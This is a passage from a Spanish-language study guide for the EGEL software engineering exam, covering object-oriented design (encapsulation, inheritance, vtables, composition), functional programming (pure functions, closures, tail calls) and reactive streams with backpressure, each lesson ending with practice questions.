exterior para proteger las **invariantes de integridad**.\n- **Modificadores de Acceso Estándar:**\n\n| Modificador | Visibilidad en la misma clase | Visibilidad en el mismo paquete/módulo | Visibilidad en subclases (herencia) | Visibilidad global pública |\n| :--- | :---: | :---: | :---: | :---: |\n| **`private`** | **Sí** | No | No | No |\n| **`default` (package-private)** | **Sí** | **Sí** | No (si está en otro paquete) | No |\n| **`protected`** | **Sí** | **Sí** | **Sí** (aun en paquetes externos) | No |\n| **`public`** | **Sí** | **Sí** | **Sí** | **Sí** |\n\n- *Invariante de Negocio:* Si una clase `CuentaBancaria` tuviera su atributo `public double saldo;`, cualquier cliente podría asignar `cuenta.saldo = -50000;`, corrompiendo el estado contable. Al hacerlo `private` y obligar a pasar por un método `retirar(monto)` con validaciones, el encapsulamiento defiende la invariante.\n\n---\n\n## 2. Herencia: Especialización, el Problema del Diamante y Contratos\n\nLa **herencia** modela una relación ontológica de tipo **\"es-un\"** (*is-a*), permitiendo que una clase derivada (subclase) herede atributos y métodos de una clase base (superclase), favoreciendo la reutilización y la extensión.\n\n### El Problema del Diamante (Diamond Problem) en Herencia Múltiple\nOcurre en lenguajes que permiten herencia múltiple de implementación (como C++):\n\n```\n                     ┌────────────────┐\n                     │    Clase A     │ (Define método: void ejecutar() )\n                     └────────────────┘\n                             ▲\n              ┌──────────────┴──────────────┐\n              │                             │\n       ┌──────────────┐              ┌──────────────┐\n       │   Clase B    │              │   Clase C    │ (Ambas heredan de A y\n       └──────────────┘              └──────────────┘  sobrescriben ejecutar() )\n              ▲                             ▲\n              └──────────────┬──────────────┘\n                             │\n                     ┌────────────────┐\n                     │    Clase D     │ (Hereda de B y C)\n                     └────────────────┘\n```\n- **La Ambigüedad:** Si una instancia de `Clase D` invoca `ejecutar()`, ¿cuál versión de código debe ejecutar la CPU? ¿La heredada a través de B o la heredada a través de C?\n- **Resolución en la Industria:**\n  - **C++:** Permite herencia múltiple resolviendo la duplicación con **herencia virtual** (`virtual public A`), pero introduce complejidad sintáctica y sobrecarga de punteros.\n  - **Java, C#, Dart:** Prohíben terminantemente la herencia múltiple de clases de implementación. Permiten **herencia simple de clase** combinada con **implementación múltiple de interfaces**. Una clase solo tiene un padre biológico, pero puede firmar múltiples contratos.\n\n### Comparativa Estricta: Clase Abstracta vs Interfaz\n\n| Dimensión de Diseño | Clase Abstracta | Interfaz |\n| :--- | :--- | :--- |\n| **Relación que modela** | Relación ontológica fuerte **\"es-un\"** (*is-a*). | Capacidad o contrato de comportamiento **\"se comporta como\"** (*can-do*). |\n| **Manejo de Estado** | **Puede poseer estado mutable:** Permite declarar atributos de instancia privados, protegidos y constructores completos. | **No posee estado de instancia:** Tradicionalmente solo constantes públicas estáticas (`public static final`). |\n| **Múltiple Implementación** | Un lenguaje de herencia simple solo permite heredar de **una** clase abstracta (`extends Base`). | Una clase puede implementar **decenas** de interfaces (`implements A, B, C`). |\n| **Evolución del código** | Ideal para compartir lógica común, esqueletos de algoritmos (*Template Method*) y estado protegido entre clases íntimamente emparentadas. | Ideal para definir contratos desacoplados entre subsistemas totalmente dispares (ej. `Comparable`, `Serializable`). |\n\n---\n\n## 3. Polimorfismo y la Mecánica Interna de Tablas Virtuales (vtable)\n\nEl **polimorfismo** (del griego *\"muchas formas\"*) es la capacidad de enviar un mensaje idéntico a diferentes objetos y que cada uno responda de acuerdo con su propia naturaleza.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        TIPOS DE POLIMORFISMO                           │\n│                                                                        │\n│   A. POLIMORFISMO ESTÁTICO (En tiempo de compilación / Ad-hoc)         │\n│      • Sobrecarga de Métodos (Overloading):                            │\n│        Mismo nombre de método, DIFERENTE firma (número/tipo de params).│\n│      • Resuelto por el compilador mediante decoración de nombres       │\n│        (Name Mangling). Cero costo en tiempo de ejecución.             │\n│                                                                        │\n│   B. POLIMORFISMO DINÁMICO (En tiempo de ejecución / Subtipado)        │\n│      • Sobrescritura de Métodos (Overriding):                          │\n│        Misma firma exacta en subclase con anotación '@Override'.       │\n│      • Resuelto en tiempo de ejecución mediante enlace dinámico        │\n│        (Dynamic Dispatch) utilizando una tabla virtual (vtable).       │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### ¿Cómo Funciona el Enlace Dinámico a Nivel de Hardware? (La vtable)\nCuando un lenguaje orientado a objetos (C++, Java, C#) compila una clase con métodos virtuales:\n1. El compilador crea en memoria estática una **Tabla de Métodos Virtuales (vtable)** para cada clase. La vtable es un arreglo de punteros a funciones que contiene las direcciones de memoria de las implementaciones reales de los métodos.\n2. Cada instancia de la clase en el Heap contiene un puntero oculto inicial llamado **vptr** (virtual pointer) que apunta a la vtable de su clase concreta.\n3. Cuando el código ejecuta `figura.dibujar();`, la CPU no sabe en tiempo de compilación qué figura es. En runtime realiza una **indirección de puntero**:\n   `Instancia -\u003e vptr -\u003e vtable de Circulo -\u003e puntero a Circulo::dibujar() -\u003e Invocación`.\n   Este mecanismo permite el polimorfismo dinámico universal con una sobrecarga minúscula de apenas una lectura de puntero en memoria.\n\n---\n\n## 4. Principio Clave: Composición sobre Herencia\n\nUno de los principios de diseño más enfatizados por la *Gang of Four* y el examen EGEL es:\n\u003e *\"Prefiere la composición de objetos sobre la herencia de clases (Favor composition over inheritance).\"*\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   HERENCIA VS COMPOSICIÓN                              │\n│                                                                        │\n│   HERENCIA (\"Es-un\" / White-box reuse):                                │\n│   class AutomovilElectrico extends Automovil { ... }                   │\n│   • Acoplamiento estático rígido en tiempo de compilación.             │\n│   • Expone los detalles internos de la clase base a las hijas.         │\n│   • Problema de la Clase Base Frágil (Fragile Base Class): Modificar   │\n│     la clase base rompe inesperadamente subclases derivadas.           │\n│                                                                        │\n│   COMPOSICIÓN (\"Tiene-un\" / Black-box reuse):                          │\n│   class Automovil {                                                    │\n│       private Motor motor; // Puede cambiarse en tiempo de ejecución   │\n│   }                                                                    │\n│   • Acoplamiento débil a través de interfaces (`IMotor`).              │\n│   • Flexibilidad para intercambiar comportamiento dinámicamente.       │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Comparativa: Herencia vs Composición\n\n| Criterio | Herencia de Clases | Composición de Objetos |\n| :--- | :--- | :--- |\n| **Naturaleza del reuso** | *Caja Blanca (White-box):* La subclase conoce y depende de la estructura interna del padre. | *Caja Negra (Black-box):* El objeto compuesto solo interactúa a través de interfaces públicas bien definidas. |\n| **Momento de vinculación** | Estática (Fijada rígidamente en tiempo de compilación). No se puede mutar el padre en ejecución. | Dinámica (En tiempo de ejecución). Un objeto puede cambiar su componente interno llamando a un método setter. |\n| **Grado de acoplamiento** | **Muy alto.** Cualquier cambio en los métodos del padre impacta a todas las ramas descendientes. | **Bajo y desacoplado.** Cumple el Principio de Inversión de Dependencias (DIP). |\n| **Extensibilidad** | Conduce rápidamente a explosión de clases si se combinan múltiples variantes independientes. | Conduce a clases compactas y fácilmente testeables con dobles de prueba (*mocks*). |\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Modelado de Roles de Usuario en una Plataforma Educativa\n- **Problema:** En una universidad, una persona puede ser inicialmente un `Estudiante`. Posteriormente, ese mismo estudiante puede ser contratado como `ProfesorAsistente` (posee simultáneamente permisos de estudiante y de docente), y años después graduarse convirtiéndose en `Exalumno`.\n- **Evaluación de Alternativas:**\n  - *Si se usa Herencia rígida:* Crear `class ProfesorAsistente extends Estudiante` no permite modelar que un usuario deje de ser estudiante sin destruir su entidad y perder su historial de calificaciones (la herencia no es mutable en runtime). La explosión combinatoria (`EstudianteProfesorExalumno`) es insostenible.\n  - *Si se usa Composición (Patrón State / Role):* La clase `Usuario` *tiene una lista de roles* (`List\u003cRol\u003e roles;`). Los roles (`RolEstudiante`, `RolDocente`) se añaden, activan o remueven dinámicamente según evolucione la vida académica del usuario.\n- **Decisión:** **Composición sobre Herencia**.\n\n### Escenario B: Motor de Renderizado Gráfico de Videojuegos 3D\n- **Problema:** Un motor gráfico procesa 200 tipos de entidades (`Monstruo`, `Vehiculo`, `Arbol`, `Bala`). Todas tienen una posición física en el espacio tridimensional y requieren ser transformadas matricialmente en cada cuadro.\n- **Evaluación y Decisión:**\n  - Una clase abstracta base `EntidadEspacial` con atributos primitivos contiguos (`float x, y, z;`) y un método concreto para el cálculo matricial común es técnicamente superior a una interfaz pura, porque provee compartición directa de campos de estado protegidos sin obligar a reimplementar la gestión espacial 200 veces.\n- **Decisión:** **Clase Abstracta Base con Herencia controlada de un solo nivel**, complementada con componentes específicos para física e inteligencia artificial.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir Sobrecarga (Overloading) con Sobrescritura (Overriding).**\n\u003e - **Sobrecarga (Overloading):** Misma clase, mismo nombre de método, pero **diferentes parámetros** (resuelto en **compilación**).\n\u003e - **Sobrescritura (Overriding):** Subclase que reimplementa un método heredado con la **misma firma exacta** y valor de retorno compatible (resuelto en **runtime** con la vtable).\n\n\u003e **Trampa 2: Afirmar que declarar atributos `protected` es suficiente para garantizar el encapsulamiento estricto.**\n\u003e Los miembros `protected` son visibles para cualquier clase dentro del mismo paquete o cualquier subclase en el proyecto. Si un desarrollador crea una clase en el mismo paquete, puede modificar libremente el atributo sin pasar por las validaciones. El encapsulamiento óptimo exige atributos `private` expuestos mediante métodos de acceso controlados.\n\n\u003e **Trampa 3: Creer que una interfaz puede instanciarse con el operador `new`.**\n\u003e Una interfaz es un contrato puramente abstracto; **nunca puede instanciarse directamente** (`new IFigura()` es un error de compilación). Lo que se instancia es una clase concreta que implementa dicha interfaz (`new Circulo()`). (Nota: En Java, las clases anónimas aparentan instanciar interfaces, pero internamente el compilador crea una clase anónima sintética que implementa la interfaz).\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nConsidere las siguientes dos clases en un lenguaje orientado a objetos:\n```java\npublic class Impresora {\n    public void imprimir(int x) { System.out.println(\"Entero: \" + x); }\n    public void imprimir(String s) { System.out.println(\"Texto: \" + s); }\n}\n\npublic class ImpresoraColor extends Impresora {\n    @Override\n    public void imprimir(String s) { System.out.println(\"Color: \" + s); }\n}\n```\n¿Qué tipos de polimorfismo se manifiestan respectivamente en la relación entre los dos métodos dentro de `Impresora`, y entre el método de `ImpresoraColor` respecto al método correspondiente de su clase base?\n- A) Polimorfismo dinámico en `Impresora`, y polimorfismo estático en `ImpresoraColor`.\n- B) Polimorfismo estático por sobrecarga (*Overloading*) en `Impresora`, y polimorfismo dinámico por sobrescritura (*Overriding*) en `ImpresoraColor`.\n- C) Ambos casos corresponden a herencia múltiple de interfaces con vtable compartida.\n- D) Ambos casos corresponden a polimorfismo paramétrico de tipos genéricos.\n\n### Pregunta 2\nAl diseñar el subsistema de personajes de un videojuego de rol, el arquitecto debe modelar habilidades que pueden combinarse libremente y mutar durante la partida (un guerrero puede aprender a volar temporalmente mediante una poción, o perder su capacidad de nadar). Si el diseñador implementara esto mediante una jerarquía de herencia con clases como `GuerreroVoladorNadador`, `GuerreroNadadorNoVolador`, etc., el sistema sufriría de una explosión combinatoria de clases y rigidez en runtime. ¿Qué principio o técnica de diseño resuelve formalmente esta problemática?\n- A) Favorecer la composición sobre la herencia (*Favor composition over inheritance*), agregando una colección de componentes de habilidad intercambiables al personaje.\n- B) Forzar la herencia múltiple de clases abstractas utilizando destructores virtuales puros.\n- C) Hacer que todos los atributos sean públicos para modificar el estado del guerrero directamente sin métodos.\n- D) Migrar el código a programación procedural utilizando sentencias `goto` para alternar entre habilidades.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.2.7 de esta subárea).*\n","title":"3.2.2 Pilares avanzados de la programación orientada a objetos: Mecánica interna y diseño"},{"children":[],"contentMd":"# Programación Funcional, Inmutabilidad, Funciones Puras y Closures\n\nEl paradigma funcional ha dejado de ser un área exclusiva de la informática teórica para convertirse en un pilar esencial del desarrollo de software contemporáneo. Lenguajes como JavaScript, Python, Java, C#, Kotlin, Swift y Rust han adoptado masivamente construcciones funcionales para resolver problemas complejos de concurrencia y procesamiento de colecciones. En el examen EGEL, los reactivos evalúan la comprensión formal de las funciones puras, la transparencia referencial, la inmutabilidad, las funciones de orden superior (`map`, `filter`, `reduce`), las clausuras (*closures*) y la optimización de llamadas de cola (*Tail-Call Optimization*).\n\n---\n\n## 1. Fundamentos: Declarativo vs Imperativo y Funciones Puras\n\nMientras que el paradigma imperativo se enfoca en el *cómo* (paso a paso, mutando el estado de la memoria), el **paradigma funcional** se sustenta en el cálculo lambda ($\\lambda$-calculus) y concibe un programa como la composición de funciones matemáticas libres de estado mutable:\n\u003e *\"La programación funcional describe QUÉ transformaciones aplicar sobre los datos, evitando el estado compartido y los efectos secundarios.\"*\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        ANATOMÍA DE UNA FUNCIÓN PURA                    │\n│                                                                        │\n│   Entrada X ──────────▶ [ FUNCIÓN PURA f(x) ] ──────────▶ Salida Y     │\n│                                                                        │\n│   Propiedades Matemáticas Obligatorias:                                │\n│   1. Determinismo Total: f(5) SIEMPRE retorna exactamente el mismo     │\n│      resultado, sin importar cuántas veces se invoque o en qué hilo.   │\n│   2. Transparencia Referencial: La expresión 'f(5)' puede reemplazarse │\n│      directamente por su valor en cualquier parte sin alterar nada.    │\n│   3. CERO Efectos Secundarios (No Side Effects):                       │\n│      • NO modifica variables externas ni globales.                     │\n│      • NO altera objetos recibidos como parámetro.                     │\n│      • NO realiza E/S no declarada (sin escrituras en BD, red o disco).│\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Funciones Puras vs Funciones Impuras en Código\n\n```java\n// FUNCIÓN IMPURA: Depende de estado externo mutable y produce efectos secundarios\npublic class FacturacionImpura {\n    private double impuestoGlobal = 0.16; // Estado mutable externo\n    private int contadorVentas = 0;\n\n    public double calcularTotal(double subtotal) {\n        contadorVentas++; // EFECTO SECUNDARIO: Muta estado del objeto\n        System.out.println(\"Calculando...\"); // EFECTO SECUNDARIO: E/S\n        return subtotal + (subtotal * impuestoGlobal); // IMPURA: Si impuestoGlobal cambia,\n                                                       // el resultado varía con el mismo input\n    }\n}\n\n// FUNCIÓN PURA: Idéntico input SIEMPRE produce idéntico output, cero mutación\npublic class FacturacionPura {\n    public static double calcularTotal(double subtotal, double tasaImpuesto) {\n        return subtotal + (subtotal * tasaImpuesto); // PURA: Aislada, determinista y testeable\n    }\n}\n```\n\n---\n\n## 2. Inmutabilidad y Seguridad Concurrente\n\nEn la programación funcional pura, una vez que un dato es creado, **jamás puede ser modificado**. Cualquier \"modificación\" es en realidad la instanciación de un nuevo dato transformado.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                  MUTABILIDAD VS ESTRUCTURAS INMUTABLES                 │\n│                                                                        │\n│   MUTABILIDAD (Riesgo concurrente):                                    │\n│   [Hilo 1: Leyendo lista] ──┐                                          │\n│                             ▼                                          │\n│                      [ Lista Mutable ] ◄── Mutex / Locks obligatorios  │\n│                             ▲                                          │\n│   [Hilo 2: Borrando ítem] ──┘                                          │\n│   ¡Peligro: Condición de carrera o ConcurrentModificationException!    │\n│                                                                        │\n│   INMUTABILIDAD (Thread-safety intrínseco):                            │\n│   [Lista Inmutable A: 1, 2, 3] ──▶ Solo lectura simultánea para N hilos│\n│              │                                                         │\n│              ▼ (Transformar)                                           │\n│   [Lista Inmutable B: 1, 2, 3, 4] ──▶ Nueva estructura; A sigue intacta│\n│   ¡CERO CONDICIONES DE CARRERA: Los datos inmutables son thread-safe!   │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n- **Compartición Estructural (*Structural Sharing*):** Para evitar duplicar toda la memoria RAM al crear una nueva versión de una colección inmutable, los lenguajes funcionales utilizan estructuras de datos persistentes (como árboles trie) donde la nueva versión comparte el 99% de sus nodos inalterados con la versión anterior.\n\n---\n\n## 3. Funciones como Ciudadanos de Primera Clase y Funciones de Orden Superior\n\nUn lenguaje soporta **funciones de primera clase** (*First-Class Functions*) cuando las funciones son tratadas como cualquier otro valor primitivo: pueden asignarse a variables, almacenarse en arreglos, pasarse como argumentos y ser retornadas por otras funciones.\n\nUna **Función de Orden Superior** (*Higher-Order Function*) es aquella que:\n1. Recibe una o más funciones como argumentos, o\n2. Retorna una función como resultado.\n\n### La Tríada Canónica: `map`, `filter` y `reduce`\n\nEstas tres operaciones forman el vocabulario estándar para manipular colecciones de forma declarativa:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                    LA TRÍADA FUNCIONAL DE COLECCIONES                  │\n│                                                                        │\n│   Colección Original: [ 1, 2, 3, 4, 5, 6 ]                             │\n│                                                                        │\n│   FILTER (Predicado: x % 2 == 0):                                      │\n│   Filtra conservando solo los elementos que cumplen la condición.      │\n│   Resultado: [ 2, 4, 6 ] (Mismo tipo, menor o igual longitud)          │\n│                                                                        │\n│   MAP (Función transformadora: x * 10):                                │\n│   Aplica una transformación uno a uno sobre cada elemento.             │\n│   Resultado: [ 20, 40, 60 ] (Misma longitud, posible cambio de tipo)   │\n│                                                                        │\n│   REDUCE / FOLD (Acumulador binario: total + x, valor inicial 0):      │\n│   Combina todos los elementos en un ÚNICO valor de salida.             │\n│   Resultado: 120 (Un único número escalar acumulado)                   │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n| Operación | Parámetro de Entrada | Cardinalidad del Resultado | Propósito Técnico |\n| :--- | :--- | :--- | :--- |\n| **`filter`** | Un **predicado** (función que evalúa un elemento y retorna un booleano `true`/`false`). | Menor o igual que la original ($0 \\le k \\le n$). | Seleccionar un subconjunto de datos basado en una regla de negocio. |\n| **`map`** | Una **función de proyección/transformación** $f: A \\to B$. | Exactamente la misma cantidad de elementos ($n$). | Convertir los elementos de una colección a otra forma o tipo. |\n| **`reduce`** | Una función acumuladora binaria $(A, B) \\to A$ y un valor semilla inicial. | **Un único valor escalar** (o una estructura consolidada). | Calcular totales, promedios, máximos, mínimos o agregaciones. |\n\n---\n\n## 4. Clausuras Léxicas (Closures)\n\nUna **clausura (Closure)** es una función que recuerda y retiene acceso a las variables de su entorno léxico circundante (*enclosing scope*), **incluso después de que la función que la creó ha terminado su ejecución y su marco de pila ha sido destruido**.\n\n```javascript\n// Demostración de Closure en JavaScript:\nfunction crearContador(valorInicial) {\n    let contador = valorInicial; // Variable en la pila de crearContador\n\n    return function() { // Retorna una función anónima (el Closure)\n        contador++; // Retiene la referencia viva a 'contador'\n        return contador;\n    };\n}\n\nconst incrementar = crearContador(10);\nconsole.log(incrementar()); // Imprime 11\nconsole.log(incrementar()); // Imprime 12\n```\n\n### Mecánica Interna del Closure\n- Normalmente, cuando una función retorna, sus variables locales en el *Stack* se descartan.\n- En presencia de una clausura, el compilador/runtime detecta que la función interna necesita acceder a la variable externa, por lo que **promueve la variable del Stack al Heap** dentro de un objeto de contexto de entorno (*Environment Record*).\n- Esto permite crear encapsulamiento estricto y fábricas de comportamiento personalizadas sin necesidad de declarar clases explícitas.\n\n---\n\n## 5. Recursión y Optimización de Llamada de Cola (TCO)\n\nDado que en programación funcional pura no existen los bucles mutables (`for`, `while`), la repetición se implementa mediante **recursión**. Sin embargo, la recursión profunda tradicional acumula marcos en la pila provocando un `StackOverflowError`.\n\nPara resolver esto, los compiladores funcionales implementan la **Optimización de Llamada de Cola (Tail-Call Optimization - TCO)**:\n- Una llamada recursiva está en **posición de cola** (*tail position*) si es la **última instrucción absoluta** que se ejecuta en la función antes de retornar, sin operaciones pendientes.\n- Si una función cumple esta regla, el compilador **no crea un nuevo marco de pila**, sino que reutiliza el marco actual sobreescribiendo sus argumentos, convirtiendo la recursión internamente en un bucle plano que consume $O(1)$ de memoria en la pila.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                      RECURSIÓN TRADICIONAL VS COLA                     │\n│                                                                        │\n│   NO ES DE COLA (Acumula pila, operación pendiente tras el retorno):   │\n│   int factorial(int n) {                                               │\n│       if (n \u003c= 1) return 1;                                            │\n│       return n * factorial(n - 1); // ¡Pendiente multiplicar por n!   │\n│   }                                                                    │\n│                                                                        │\n│   ES DE COLA (TCO optimizable, pasa el acumulador):                    │\n│   int factorialTail(int n, int acumulador) {                           │\n│       if (n \u003c= 1) return acumulador;                                   │\n│       return factorialTail(n - 1, n * acumulador); // Última acción    │\n│   }                                                                    │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 6. Escenarios de Decisión Profesional\n\n### Escenario A: Pipeline de Transformación de Catálogo para un Buscador\n- **Problema:** Un catálogo de 500,000 productos debe procesarse en memoria: descartar productos descontinuados, normalizar títulos a mayúsculas, extraer sus etiquetas de categorización y calcular el precio medio de venta.\n- **Análisis de Paradigma:**\n  - Enfoque imperativo: Múltiples bucles `for` anidados con variables temporales mutables, flags booleanos y listas intermedias; propenso a errores de índice fuera de rango (*off-by-one*) y difícil de paralelizar.\n  - Enfoque funcional declarativo: Pipeline encadenado:\n    `productos.stream().filter(Activo).map(Normalizar).flatMap(Etiquetas).reduce(...)`\n- **Decisión:** **Paradigma Funcional**. El código es conciso, autodescriptivo y trivialmente paralelizable (`parallelStream()`) en múltiples núcleos sin riesgo de condiciones de carrera gracias a la ausencia de estado mutable.\n\n### Escenario B: Motor de Simulación Física de Choque de Partículas\n- **Problema:** Simular la trayectoria de 10 millones de partículas en un espacio 3D a 60 cuadros por segundo.\n- **Análisis de Paradigma:**\n  - Si se aplica inmutabilidad funcional estricta, cada cuadro requeriría instanciar 10 millones de nuevos objetos de coordenadas en el Heap, colapsando el Garbage Collector en segundos.\n  - En este dominio, mutar los valores directamente en arreglos de memoria contigua en el Stack o memoria cruda imperativa es mandatorio para la viabilidad del rendimiento físico.\n- **Decisión:** **Paradigma Imperativo con Estado Mutable Contiguo**.\n\n---\n\n## 7. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir una Función Pura con una Función que no recibe Parámetros.**\n\u003e Una función pura **debe** depender de sus parámetros de entrada para calcular su salida. Si una función no recibe parámetros y retorna un valor (como `obtenerFechaActual()` o `generarNumeroAleatorio()`), es por definición **impura**, ya que su resultado varía en cada invocación (viola el determinismo).\n\n\u003e **Trampa 2: Creer que `reduce` siempre debe retornar un número escalar.**\n\u003e Aunque comúnmente se usa para sumar números, la función `reduce` puede retornar cualquier tipo de dato, incluyendo un mapa agrupado, una lista acumulada o un objeto complejo. Su característica formal es que pliega una colección de elementos aplicando un operador binario asociativo.\n\n\u003e **Trampa 3: Asumir que la inmutabilidad es intrínsecamente lenta.**\n\u003e En sistemas concurrentes de alta carga, la inmutabilidad es a menudo **más rápida** que la mutabilidad protegida, porque elimina por completo el costo de adquisición de bloqueos (*Mutex contention*), esperas de hilos y copias defensivas.\n\n---\n\n## 8. Autoevaluación Formativa\n\n### Pregunta 1\nConsidere el siguiente fragmento de código que procesa una lista de órdenes de compra:\n```javascript\nconst total = ordenes\n    .filter(orden =\u003e orden.activa === true)\n    .map(orden =\u003e orden.monto * 1.16)\n    .reduce((acumulador, montoConIva) =\u003e acumulador + montoConIva, 0);\n```\n¿Cuál es la función específica que cumple cada uno de los tres métodos encadenados en este flujo funcional?\n- A) `filter` modifica las órdenes en la base de datos; `map` crea una nueva tabla relacional; `reduce` elimina los registros duplicados.\n- B) `filter` selecciona únicamente las órdenes que cumplen el predicado booleano; `map` transforma cada orden calculando su importe con IVA; `reduce` consolida todos los montos calculados en un único valor numérico total acumulado.\n- C) Los tres métodos mutan destructivamente el arreglo original `ordenes` paso a paso para ahorrar memoria en el Heap.\n- D) `filter` calcula el promedio; `map` asigna memoria en el Stack; `reduce` ejecuta una llamada recursiva sin TCO.\n\n### Pregunta 2\n¿Qué propiedad matemática y operativa de las funciones puras garantiza que una función invocada concurrentemente por 50 hilos diferentes sobre los mismos argumentos no genere jamás una condición de carrera ni requiera cerrojos de sincronización (*locks*)?\n- A) El uso de memoria virtual paginada.\n- B) El polimorfismo dinámico de su tabla virtual.\n- C) La transparencia referencial y la ausencia total de mutación de estado compartido o efectos secundarios.\n- D) La presencia de una clausura léxica que promueve variables locales al espacio global.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.2.7 de esta subárea).*\n","title":"3.2.3 Programación funcional, inmutabilidad, funciones puras y closures"},{"children":[],"contentMd":"# Programación Reactiva, Flujos Asíncronos (Streams) y Manejo de Eventos\n\nEl desarrollo de interfaces interactivas contemporáneas, sistemas de telemetría IoT y microservicios de alto rendimiento exige procesar flujos continuos de datos que ocurren a lo largo del tiempo de manera asíncrona. En el examen EGEL de Ingeniería de Software, los reactivos evalúan la comprensión de la **programación reactiva** (*Reactive Programming*), el modelo Push frente al modelo Pull, la anatomía de un flujo de datos (*Stream / Observable*), la gestión de la saturación mediante **contrapresión (*Backpressure*)** y el uso de operadores reactivos esenciales.\n\n---\n\n## 1. Fundamentos: El Manifiesto Reactivo y el Modelo Push\n\nLa programación reactiva es un paradigma declarativo centrado en la propagación automática de cambios y el procesamiento de **flujos de datos asíncronos** (*Streams*):\n\u003e *\"En lugar de consultar repetidamente si un dato cambió (Polling / Pull), el sistema se suscribe y reacciona de forma inmediata cuando el dato es producido (Event-Driven / Push).\"*\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        MODELO PULL VS MODELO PUSH                      │\n│                                                                        │\n│   MODELO PULL (Iterativo / Síncrono):                                  │\n│   Consumidor ──▶ \"¿Tienes el siguiente dato?\" ──▶ Productor            │\n│   Consumidor ◀── Retorna dato (o bloquea hilo) ─── Productor           │\n│   (El consumidor tiene el control del flujo y del ritmo)              │\n│                                                                        │\n│   MODELO PUSH (Reactivo / Asíncrono):                                  │\n│   Productor ════▶ [EMPUJA DATO ASÍNCRONAMENTE] ════▶ Consumidor        │\n│   (El productor emite cuando el evento ocurre; el suscriptor reacciona)│\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Los Cuatro Pilares del Manifiesto Reactivo (The Reactive Manifesto)\n1. **Capacidad de Respuesta (Responsive):** El sistema responde en tiempo y forma predecibles; la latencia es mínima y consistente.\n2. **Resiliencia (Resilient):** El sistema mantiene la capacidad de respuesta aun en presencia de fallas mediante aislamiento de componentes, contención y delegación.\n3. **Elasticidad (Elastic):** El sistema escala dinámicamente arriba o abajo adaptándose a variaciones de carga sin degradarse.\n4. **Conducido por Mensajes (Message-Driven):** Los componentes se comunican mediante paso de mensajes asíncronos desacoplados en el tiempo y espacio.\n\n---\n\n## 2. Anatomía de un Flujo de Datos (Stream / Observable)\n\nUn **Stream** es una secuencia ordenada temporalmente de eventos continuos. A diferencia de una colección finita en memoria (como un arreglo que tiene todos sus elementos ya creados en el espacio), un Stream emite elementos **en el tiempo**:\n\n```\nLínea temporal ────────────────────────────────────────────────────────▶\nStream de eventos: ───●───────●───────▲───────●───────────|────▶\n                     (v1)    (v2)   (v3)    (v4)      (Complete)\n                                       │\n                                    o bien: ─────────────✕────▶ (Error)\n```\n\nUn flujo reactivo estándar emite tres tipos de notificaciones a sus observadores:\n\n| Canal de Notificación | Símbolo / Método | Semántica y Comportamiento |\n| :--- | :---: | :--- |\n| **Emisión de Datos** | `onNext(valor)` | El stream emite un nuevo dato generado. Puede invocarse cero, una o infinitas veces a lo largo del tiempo. |\n| **Señal de Finalización** | `onComplete()` | Indica que el stream ha terminado con éxito y no emitirá más datos jamás. |\n| **Señal de Error** | `onError(excepción)` | Indica que ocurrió una falla no recuperable en el flujo. El stream se cancela y termina inmediatamente; no se emiten más valores posteriores. |\n\n---\n\n## 3. El Problema de la Contrapresión (Backpressure)\n\nEn arquitecturas reactivas desacopladas, surge con frecuencia un desbalance de velocidad: **el productor emite datos a un ritmo significativamente mayor del que el consumidor puede procesar**.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        EL RETO DEL BACKPRESSURE                        │\n│                                                                        │\n│   Sensor IoT / Cámara                  Microservicio de Análisis       │\n│   (Productor Veloz: 1,000 eventos/s)   (Consumidor Lento: 100 eventos/s│\n│                   │                                  │                 │\n│                   ▼                                  ▼                 │\n│           ════════════════════════════════════════════                 │\n│           ¡Saturación inminente de memoria (OutOfMemoryError)!          │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Estrategias de Ingeniería para Mitigar el Backpressure\n\n| Estrategia | Mecanismo de Control | Riesgo / Trade-off | Caso de Uso Óptimo |\n| :--- | :--- | :--- | :--- |\n| **1. Amortiguamiento (Buffering)** | Almacenar temporalmente los eventos entrantes en una cola en memoria hasta que el consumidor los procese. | Si la ráfaga de datos es sostenida y la cola no tiene límite, satura el Heap provocando un crash por `OutOfMemoryError`. | Picos de tráfico breves y transitorios donde la velocidad promedio de consumo supera a la de producción. |\n| **2. Descarte por Muestreo (Sampling / Dropping)** | Descartar deliberadamente los eventos intermedios que lleguen mientras el consumidor esté ocupado. | Pérdida definitiva de datos intermedios. | Telemetría continua de alta frecuencia (ej. temperatura de un motor o posición del ratón donde solo importa la lectura más reciente). |\n| **3. Debounce (Estabilización Temporal)** | Ignorar eventos hasta que transcurra una ventana de silencio temporal (ej. 300 ms sin nuevos eventos). | Retrasa la emisión del valor hasta que cesa la ráfaga de entradas. | Cajas de búsqueda en tiempo real (*Typeahead*): evita disparar una consulta a la base de datos por cada tecla presionada. |\n| **4. Throttle / Rate Limiting** | Emitir como máximo un evento por cada ventana fija de tiempo (ej. máximo 1 evento cada segundo). | Descarta las variaciones de alta frecuencia ocurridas en la ventana. | Prevención de clics duplicados en botones de interfaz o control de cuotas de APIs externas. |\n| **5. Control de Flujo Reactivo (`request(n)`)** | El consumidor le notifica explícitamente al productor cuántos elementos está en capacidad de procesar mediante el protocolo *Reactive Streams*. | Exige soporte nativo de contrapresión bidireccional en toda la cadena de procesamiento. | Descarga masiva de registros de base de datos relacional 